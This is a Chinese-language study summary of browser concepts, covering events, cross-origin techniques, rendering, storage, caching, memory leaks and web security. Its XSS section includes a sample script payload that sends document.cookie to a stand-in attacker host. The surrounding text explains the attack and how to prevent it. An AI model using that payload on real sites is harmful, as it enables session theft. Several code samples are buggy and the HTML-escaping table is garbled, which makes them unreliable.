浏览器相关知识点总结
1.事件
事件触发有三个阶段
- window向触发事件出传播，遇到注册的捕获事件就会触发，这一过程叫捕获
- 传播到事件的触发地方则触发注册事件
- 然后从触发出向window传播，遇到注册的冒泡事件就会触发，这一过程叫冒泡
PS:事件的冒泡和捕获一般是谁先注册，则先触发谁
2.事件的代理
如果一个节点中有多个子节点，那么子节点的注册事件应该注册在父节点上，
<ul if="ul">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<script>
let ul = document.getElementById("ul");
ul.addEventListener("click",e=>{
console.log(e.target)
})
</script>
事件的代理相对于直接给目标注册事件：可以节省内存，不需要给子节点注销事件
3注册事件
一般我们用addeventListener注册事件，有时候我们只希望事件触发在目标身上，而不希望另外的事件也被触发，这个时候，我们就可以用stopPropagation来阻止事件的传播，通常stopPropagation是用来阻止事件冒泡，也可以阻止捕获事件
ps:stopImmediatePropagation也可以
4.跨域
1.jsonp
简单来说就是利用<script>标签没有跨域限制的漏洞，通过标签指向一个访问地址提供一个回调函数来接收数据，但是jsonp只能使用get请求
function jsonp(url,callback,success){
let script =document.createElement('script');
script.src=url;
script.async = true;
script.type='text/javascript';
window[callback] = function(res){
sucess && sucess(res)
}
document.body.appendChild(script)
}
jsonp('http://xxx', 'callback', function(value) {
console.log(value)
})
以上代码是对jsonp函数的简单封装
2.CORS
cors需要浏览器和后端的同时支持，浏览器会自动进行cors通信，关键是后端，如果后端实现的cors,就实现了跨域，服务端设置Access-Control-Allow-Origin,就可以开启cors
3.postMessage
这种方式通常用于嵌入页面的第三方页面数据，一个页面发送消息，另一个页面判断来源并接受消息
// 发送消息端
window.parent.postMessage('message', 'http://xxx.com')
// 接收消息端
var mc = new MessageChannel()
mc.addEventListener('message', event => {
var origin = event.origin || event.originalEvent.origin
if (origin === 'http://xxx.com') {
console.log('验证通过')
}
})
4.document.domain
abc.www.baidu.com 和 cdf.www.baidu.com 他们就都可以document.domain 指定到 www.baidu.com 即可跨域
5.渲染机制
页面的渲染一般分为：
- 处理html并创建dom树
- 处理css并创建cssdom树
- 将dom和cssdom合并成一个树
- 根据树布局，计算节点
- 调用GPU合成图层，显示
1.load/DOMContentLoaded
Load事件触发代表页面中的dom,css,js图片已经全部加载完毕
DOMContentLoaded事件触发代表html被完全加载和解析，不需要等待css,js，图片
2.重绘和回流
- 重绘是当前节点需要更改外观而不影响布局，比如改变一个颜色
- 回流是指布局需要改变
回流一定会触发重绘，但是重绘不一定会触发回流，回流的成本较高
如何减少重绘和回流： - 使用visibility替代display:none；后者会影响布局引发回流，前者只会引起重绘
- 不要把dom节点的属性值放到循环里
- 不要使用table布局
- css选择符从右向左匹配查找，避免dom过深
....
6.cookie/localStorage/sessionStorage
数据存储大小：cookie 4k localStorage/sessionStorage 5M
参与服务通信： cookie 每次通信都会携带，其余不参与
生命周期：cookie一般由服务器生成，可以设置过期时间，localStorage 如果不清理一直存在，sessionStorage 页面关闭就清理
7.安全
1.CSRF
CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统;
如何防御
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie，严格设置cookie的域。
2.XSS
XSS 通过修改 HTML 节点或者执行 JS 代码来攻击网站。
举例
div.innerHTML = userComment // userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 恶意就被执行了，这就是 XSS
预防
不要使用 innerHTML，改成 innerText，script 就会被当成文本，不执行
如果你一样要用 innerHTML，字符过滤
把 < 替换成 <
把 > 替换成 >
把 & 替换成 &
把 ' 替换成 '
把 ' 替换成 "
代码 div.innerHTML = userComment.replace(/>/g, '<').replace...
使用 CSP Content Security Policy
3.密码安全
通过给用户密码加密然后保存再数据库
8.缓存
- 强缓存 状态码200
- 协商缓存 状态码304
1.强缓存，实现强缓存可以设置两种相应头：Expires和Cache-Control强缓存表示缓存期间不需要请求，
2.协商缓存需要客户端和服务端共同实现，实现协商缓存有两种方式，1.Last-Modified和if-Modified-Since，Last-Modified表示本地文件最后的修改日期，后者会将值发送给服务器在该日期后是否有更新，2.ETag和if-None-match,后者会把ETag发送到服务器。询问该资源是否有更新，且第二种的优先级比第一种的高
9 内存泄漏
会引起内存泄漏的几种方式
- 意外的全局变量：无法回收
- 定时器：未被正确的关闭，导致引用的外部变量无法释放
- 事件监听：未被正确的监听（低版本浏览器可能会出现）
- 闭包：父级中的变量无法释放
- dom引用：dom元素被删除，内存中引用未被正确的清除
